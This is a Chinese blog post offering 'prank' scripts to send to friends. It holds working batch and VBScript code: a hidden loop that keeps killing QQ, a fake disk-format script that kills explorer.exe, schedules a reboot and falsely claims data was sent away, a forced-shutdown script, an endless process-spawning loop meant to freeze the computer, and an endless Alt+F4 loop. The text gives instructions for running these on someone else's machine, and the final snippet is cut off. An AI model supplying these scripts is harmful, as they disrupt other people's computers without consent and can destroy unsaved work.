【Python整蛊合集】多份整蛊代码，发给朋友之后我.....(友尽系列推荐)

2024-07-17 22:24| 来源: 网络整理| 查看: 265

前言

🚀 作者：“程序员梨子”

🚀 **文章简介 **：本篇文章主要是写了自动刷金币脚本啦！

🚀 **文章源码获取 **：为了感谢每一个关注我的小可爱💓每篇文章的项目源码都是无偿分

享滴💓👇👇👇👇

点这里蓝色这行字体自取，需要什么源码记得说标题名字哈！私信我也可！

🚀 欢迎小伙伴们点赞👍、收藏⭐、留言💬

正文

好久不见！

你们亲爱的小梨子，带着包袱满满的整蛊代码回来啦！

那今天我们就来盘点一下：学生时代的那些整蛊大法！！

1）写个纸条贴在同学背后

突然抽走椅子让你摔个屁股墩

把你的鞋带绑在凳子腿上

这些都是基本操作！

2）还总有一些同学这样喊道

“班主任在后门”

“那个谁谁谁，老师找你让你赶快去办公室”

是想吓死个谁啊！

还有同学谎称“明天放假咦，不用上课啦”

这种真的有哪个小天真会信吗

更有“你的钱掉了”

“咦！地上是谁的100块钱~”

那时的你会低头看看吗？

3）还有同学买那种整蛊玩具

打开盒子突然出现的

恐怖鬼脸+恶魔般的音效

超仿真的小蛇、蜘蛛玩偶

都是噩梦般的存在！

那么今日互动话题来了

你还记得哪些校园整蛊的套路吗？

评论留言给我吧！

温馨提示：整蛊有风险，整蛊需谨慎玩笑归玩笑，不要太过哦不然你真的会“友”尽了

（1）杀死ta的QQ。 @echo off if "%1" == "h" goto begin mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit :begin tasklist |find /i "QQ.exe" if %errorlevel%==0 (goto killit) else (goto next) :killit taskkill /f /im QQ.exe :next ping -n 3 127.t >nul 2>nul goto begin

把以上代码保存成txt格式，然后把后缀改成bat,然后双击运行嘿嘿，那他的qq就不能运行了哟~

（2）格式化磁盘。 @ color 4f @echo off echo 删除计算机的C盘的所有文件...... ping 127.0.0.1 /n 2 >nul echo 已删除完毕 echo. echo 删除计算机的D盘的所有文件...... ping 127.0.0.1 /n 2 >nul echo 已删除完毕 echo. echo 删除计算机的E盘的所有文件...... ping 127.0.0.1 /n 2 >nul echo 已删除完毕 @ color echo. echo. ========================================= echo. 啊哈哈，都删关，都杀关，哈哈 …… echo. ========================================= echo. 系统将马上崩溃...... echo. 这是一个木马程序......您的所有资料已经传到 [email protected] shutdown /r /t 30 /c "电脑在30s内即将崩溃,哈哈，你活该！" ntsd -c q -pn explorer.exe ping 127.0.0.1 /n 20 >nul start explorer.exe shutdown -a

将以上部分保存到txt格式，然后把后缀改成bat就可以运行了，运行后他的磁盘会被格式化。

当然那是假的。。。用来吓人的。。。希望你玩的愉快。。。

（3）让ta说ta是猪。 set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true dim a do while(a "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了，让对方说他是🐖。

（4）直接死机。 set wsh=createobject("wscript.shell") do wsh.run "calc" loop

新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了

打开无数个计算器，直到死机。

（5）一直说You are pig! do msgbox "You are pig!" loop (6)重复说话200次。 Set WshShell = WScript.Createobject("WScript.Shell") for i = 1 to 200 WScript.Sleep 1 WshShell.SendKeys"^v" wshShell.SendKeys"{ENTER}" next （7）给我按200次回车。 for i = 0 to 200 msgbox "回车[滑稽]",64 next （8）Alt+F4超可怕。 do Set WshShell = WScript.Createobject("WScript.Shell") WshShell.SendKeys "%{F4}" '%代表Alt' loop （9）问答形式。 a=msgbox "你是不是有点儿蠢?",vbOKCancel if a = vbOK then msgbox("确实有点儿！") elseif a=vbCancel then do msgbox("蠢蠢的！") loop

问答2——借钱的时候场景再现哈哈哈。

msgbox "你在吗",vbQuestion,"在吗" msgbox ("我借你1w块钱") msgbox ("1个月给你") msgbox ("不给，我就是PIG") dim j do while j

【本文地址】

公司简介

联系我们